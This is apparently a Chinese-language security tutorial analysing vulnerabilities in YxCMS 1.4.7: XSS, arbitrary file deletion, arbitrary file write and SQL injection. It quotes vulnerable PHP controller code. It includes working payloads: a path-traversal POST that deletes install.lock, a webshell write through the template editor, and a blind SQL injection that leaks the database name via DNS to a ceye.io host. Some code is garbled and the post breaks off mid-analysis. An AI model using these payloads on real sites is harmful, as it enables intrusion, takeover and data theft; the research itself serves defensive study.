这几天有小伙伴留言给我们,想看一些关于后台的漏洞分析,今天i春秋选择YxCMS 1.4.7版本,理论内容结合实际案例进行深度分析,帮助大家提升挖洞技能。
注:篇幅较长,阅读用时约7分钟。
YXcms是基于PHP+MySql开发,采用CANPHP框架编写的,是一款高效、灵活、实用、免费的企业建站系统,它的设计理念是用最少的程式码做更多的事情。
安装程式
具体的安装流程和使用说明可以去官网检视:
前台XSS
1、漏洞复现
开启连结,输入payload:
然后登陆后台,检视稽核。
点选编辑
2、漏洞分析
前台的档案源代码:
protected/apps/default/controller/columnController.php
public function index { $ename=in($_GET[\'col\']); if(empty($ename)) throw new Exception(\'栏目名不能为空~\', 404); $sortinfo=model(\'sort\')->find("ename=\'{$ename}\'",\'id,name,ename,path,url,type,deep,method,tplist,keywords,description,extendid\'); $path=$sortinfo[\'path\'].\',\'.$sortinfo[\'id\']; $deep=$sortinfo[\'deep\']+1; $this->col=$ename; switch ($sortinfo[\'type\']) { case 1://文章 $this->newslist($sortinfo,$path,$deep); break; case 2://图集 $this->photolist($sortinfo,$path,$deep); break; case 3://单页 $this->page($sortinfo,$path,$deep); break; case 4://应用 break; case 5://自定义 break; case 6://表单 $this->extend($sortinfo,$path,$deep); break; default: throw new Exception(\'未知的栏目型别~\', 404); break; } }
后台的档案源代码:
protected/apps/admin/controller/extendfieldController.php
public function mesedit { $tableid=intval($_GET[\'tabid\']); if(!$this->checkConPower(\'extend\',$tableid)) $this->error(\'您没有许可权管理此独立表内容~\'); $id=intval($_GET[\'id\']);//资讯id if(empty($tableid) || empty($id) ) $this->error(\'引数错误~\'); $tableinfo = model(\'extend\')->select("id=\'{$tableid}\' OR pid=\'{$tableid}\'",\'id,tableinfo,name,type,defvalue\',\'pid,norder DESC\'); if(empty($tableinfo)) $this->error(\'自定义表不存在~\'); if (!$this->isPost) { $info=model(\'extend\')->Extfind($tableinfo[0][\'tableinfo\'],"id=\'{$id}\'"); $this->info=$info; $this->tableid=$tableid; $this->id=$id; $this->tableinfo=$tableinfo; $this->display; }else{ for($i=1;$iExtup($tableinfo[0][\'tableinfo\'],"id=\'{$id}\'",$data)) $this->success(\'修改成功~\',url(\'extendfield/meslist\',array(\'id\'=>$tableid))); else $this->error(\'资讯修改失败~\'); } }
中间没什么过滤,具体可以看这篇文章:
任意档案删除
1、漏洞复现
需要先登入后台,然后访问之后会显示缩图不存在:
Payload:
http://sb.com/index.php?r=admin/photo/delpic
POST:
picname=../../protected/apps/install/install.lock
然后访问网站首页就会自动转到安装的页面
2、漏洞分析
漏洞档案:
protected/apps/admin/controller/photoController.php,在第355行的delpic函式,可以看到$picname接收POST过来的值,然后$path等于档案开头定义的静态变数。
static protected $uploadpath=\'\';//图片上传路径
没有对传入的值进行任何的过滤,使用函式file_exists判断一下档案是否存在,unlink执行删除操作。
public function delpic { if(empty($_POST[\'picname\'])) $this->error(\'引数错误~\'); $picname=$_POST[\'picname\']; $path=$this->uploadpath; if(file_exists($path.$picname)) @unlink($path.$picname); else{echo \'图片不存在~\';return;} if(file_exists($path.\'thumb_\'.$picname)) @unlink($path.\'thumb_\'.$picname); else {echo \'缩图不存在~\';return;} echo \'原图以及缩图删除成功~\'; }
任意档案写入
1、漏洞复现
开启页面
开启我们的档案监控软件
FolderChangesView
输入我们的程式路径
D:\\phpStudy\\PHPTutorial\\WWW\\YXcms
然后写shell.php档名,写入我们的程式码。
然后会在
\\protected\\apps\\default\\view\\default下面生成我们写入的档案。
2、漏洞分析
漏洞档案
protected/apps/admin/controller/setController.php的140行,$tpfile接收到GET传过来的值,如果为空的话就会报非法操作。传过来的URL是admin/set/tpadd&Mname=default,所以$tpfile就是default。
再来下是检测是否有POST的值,接受到POST过来的filename,用trim去掉两边的空格。接收到POST过来的code,用stripcslashes反转义。
$filepath=$templepath.$filename.\'.php\'这一句是路径和档案的拼接,然后下面检测路径是否存在。
最后没有过滤任何的危险函式就传给file_put_contents函式,写入网站的目录。
public function tpadd { $tpfile=$_GET[\'Mname\']; if(empty($tpfile)) $this->error(\'非法操作~\'); $templepath=BASE_PATH . $this->tpath.$tpfile.\'/\'; if($this->isPost){ $filename=trim($_POST[\'filename\']); $code=stripcslashes($_POST[\'code\']); if(empty($filename)||empty($code)) $this->error(\'档名和内容不能为空\'); $filepath=$templepath.$filename.\'.php\'; if($this->ifillegal($filepath)) {$this->error(\'非法的档案路径~\');exit;} try{ file_put_contents($filepath, $code); } catch(Exception $e) { $this->error(\'模板档案建立失败!\'); } $this->success(\'模板档案建立成功!\',url(\'set/tplist\',array(\'Mname\'=>$tpfile))); }else{ $this->tpfile=$tpfile; $this->display; } }
SQL注入
1、漏洞复现
这个盲注可以用ceye.io和python指令码跑。
payload:
1 and if((select load_file(concat(\'\\\\\\\\\',(select database),\'.xxxx.ceye.io\\\\abc\'))),1,1))--
点选删除
然后用Burp Suite截获资料,修改内容加上我们的payload,用原文的payload后面+会报错。
然后进入http://ceye.io/records/dns,检视我们的资料。
2、漏洞分析
检视漏洞档案:
protected/apps/admin/controller/fragmentController.php的第63行
public function del { if(!$this->isPost){ $id=intval($_GET[\'id\']); if(empty($id)) $this->error(\'您没有选择~\'); if(model(\'fragment\')->delete("id=\'$id\'")) echo 1; else echo \'删除失败~\'; }else{ if(empty($_POST[\'delid\'])) $this->error(\'您没有选择~\'); $delid=implode(\',\',$_POST[\'delid\']); if(model(\'fragment\')->delete(\'id in (\'.$delid.\')\')) $this->success(\'删除成功\',url(\'fragment/index\')); } }
我们跟
if(model(\'fragment\')->delete("id=\'$id\'")),
它会先到protected/core.php档案里面的model
function model($model){ static $objArray = array; $className = $model . \'Model\'; if( !is_object($objArray[$className]) ){ if( !class_exists($className) ) { throw new Exception(config(\'_APP_NAME\'). \'/\' . $className . \'.php 模型类不存在\'); } $objArray[$className] = new $className; } return $objArray[$className]; }
然后到
protected/apps/admin/model/fragmentModel.php





























